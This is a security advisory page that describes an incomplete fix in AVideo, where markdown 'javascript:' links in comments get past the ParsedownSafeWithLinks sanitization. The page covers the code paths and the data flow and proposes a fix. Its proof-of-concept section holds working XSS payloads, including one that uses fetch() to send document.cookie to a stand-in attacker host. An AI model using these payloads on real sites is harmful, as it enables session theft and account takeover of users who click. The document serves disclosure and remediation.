Medium

AVideo - Incomplete Fix for CVE-2026-27568: Stored XSS via Markdown `javascript:` URI Bypasses ParsedownSafeWithLinks Sanitization

  • Disclosed: 20.03.2026
  • Updated: 11.10.2026 10:22

Summary

The fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom ParsedownSafeWithLinks class that sanitizes raw HTML <a> and <img> tags in comments, but explicitly disables Parsedown's safeMode. This creates a bypass: markdown link syntax [text](javascript:alert(1)) is processed by Parsedown's inlineLink() method, which does not go through the custom sanitizeATag() sanitization (that only handles raw HTML tags). With safeMode disabled, Parsedown's built-in javascript: URI filtering (sanitiseElement()/filterUnsafeUrlInAttribute()) is also inactive. An attacker can inject stored XSS via comment markdown links.

Details

The original fix (commit ade348ed6) enabled setSafeMode(true), which activated Parsedown's built-in URL scheme filtering. This was then replaced by commit f13587c59 with a custom approach that turned safeMode back off:

objects/functionsSecurity.php:442-446 — safeMode disabled:

php
function markDownToHTML($text) {
    $parsedown = new ParsedownSafeWithLinks();
    $parsedown->setSafeMode(false);   // line 445 — disables Parsedown's built-in javascript: filtering
    $parsedown->setMarkupEscaped(false);
    $html = $parsedown->text($text);

ParsedownSafeWithLinks (lines 349-440) overrides blockMarkup() and inlineMarkup() to sanitize raw HTML <a> tags via sanitizeATag(), which whitelist-checks the URL scheme:

php
// sanitizeATag() at line 360 — only allows http(s), mailto, /, #
if (preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $url)) {
    $href = ' href="' . htmlspecialchars($url, ENT_QUOTES) . '"';
}

However, this sanitization only runs for raw HTML <a> tags processed through inlineMarkup(). Markdown-syntax links ([text](url)) are handled by Parsedown's core inlineLink() method (vendor/erusev/parsedown/Parsedown.php:1258), which constructs an element array and passes it to element().

vendor/erusev/parsedown/Parsedown.php:1470-1475 — sanitiseElement only runs when safeMode is true:

php
protected function element(array $Element)
{
    if ($this->safeMode)        // false — so sanitiseElement() is never called
    {
        $Element = $this->sanitiseElement($Element);
    }

sanitiseElement() would have called filterUnsafeUrlInAttribute() which replaces : with %3A for non-whitelisted schemes like javascript:, but it is never invoked.

Data flow:

  1. User posts comment containing [Click here](javascript:alert(document.cookie))
  2. xss_esc() applies htmlspecialchars() — no HTML special chars exist in the payload, stored unchanged
  3. On retrieval, xss_esc_back() reverses encoding (no-op), then markDownToHTML() converts markdown to <a href="javascript:alert(document.cookie)">Click here</a>
  4. Result stored in commentWithLinks (objects/comment.php:420)
  5. Rendered directly in DOM via template at view/videoComments_template.php:15: <p>{commentWithLinks}</p>

PoC

  1. Log in as any user with comment permission
  2. Navigate to any video page
  3. Post a comment with the following markdown:
[Click here for more info](javascript:alert(document.cookie))
  1. The comment is saved and rendered. Any user viewing the video sees "Click here for more info" as a clickable link
  2. Clicking the link executes alert(document.cookie) in the victim's browser context

For session hijacking:

[See related video](javascript:fetch('https://attacker.example/steal?c='+document.cookie))

Impact

  • Session hijacking: Attacker can steal session cookies of any user (including admins) who clicks the comment link, leading to full account takeover
  • Scope change (S:C): The XSS executes in the context of the viewing user's session, crossing the trust boundary from the attacker's low-privilege comment context
  • Persistence: The payload is stored in the database and triggers for every user who views the page and clicks the link
  • UI:R required: The victim must click the link, which limits the severity vs. auto-executing XSS

Recommended Fix

Override inlineLink() in ParsedownSafeWithLinks to apply URL scheme filtering to markdown-generated links:

php
class ParsedownSafeWithLinks extends Parsedown
{
    // ... existing code ...

    protected function inlineLink($Excerpt)
    {
        $Link = parent::inlineLink($Excerpt);

        if ($Link === null) {
            return null;
        }

        $href = $Link['element']['attributes']['href'] ?? '';

        // Apply the same whitelist as sanitizeATag: only allow http(s), mailto, relative, anchors
        if ($href !== '' && !preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $href)) {
            $Link['element']['attributes']['href'] = '';
        }

        return $Link;
    }
}

Alternatively, re-enable safeMode(true) and find a different approach to allow <a> and <img> tags (e.g., post-processing the safe output to re-inject whitelisted tags).

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package wwbn/avideo <= 26.0 no fix

References

CVSS score 5.4/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness (CWE)
CWE-79
Platform
Composer
Package
wwbn/avideo
Disclosed
20.03.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-72h5-39r7-r26j - CC BY 4.0

Vulnerability history: wwbn/avideo

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (160) in the archive
Total entries
160
First → latest
04.2022 06.2026
Without a fix
143
Exploited in attacks
0

Severity breakdown

  • Critical 14
  • High 61
  • Medium 83
  • Low 2

Disclosures per year

  1. 2022: 2
  2. 2023: 5
  3. 2024: 5
  4. 2025: 0
  5. 2026: 148
Severity:
  1. High · 9.8 CVE-2026-41304 <= 29.0 no fix
  2. Critical CVE-2026-33867 <= 26.0 no fix
  3. Critical · 9.3 CVE-2026-33502 <= 26.0 no fix
  4. AVideo - Incomplete Fix for CVE-2026-27568: Stored XSS via Markdown `javascript:` URI Bypasses ParsedownSafeWithLinks Sanitization this entry
    Medium · 5.4 CVE-2026-33500 <= 26.0 no fix
  5. Critical · 9.8 CVE-2024-31819 >= 12.4, < 14.3 14.3
  6. Critical · 9.8 CVE-2023-49599 <= 12.4 no fix
  7. High · 8.8 CVE-2023-32073 <= 12.4 no fix
  8. High · 8.8 CVE-2023-30854 < 12.4 12.4
  9. High ghsa-2fch-hv74-fgw9 < 12.4 12.4
  10. Critical · 9.6 CVE-2023-25313 < 12.4 12.4
  11. High · 8.8 CVE-2020-23489 < 8.9 8.9

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.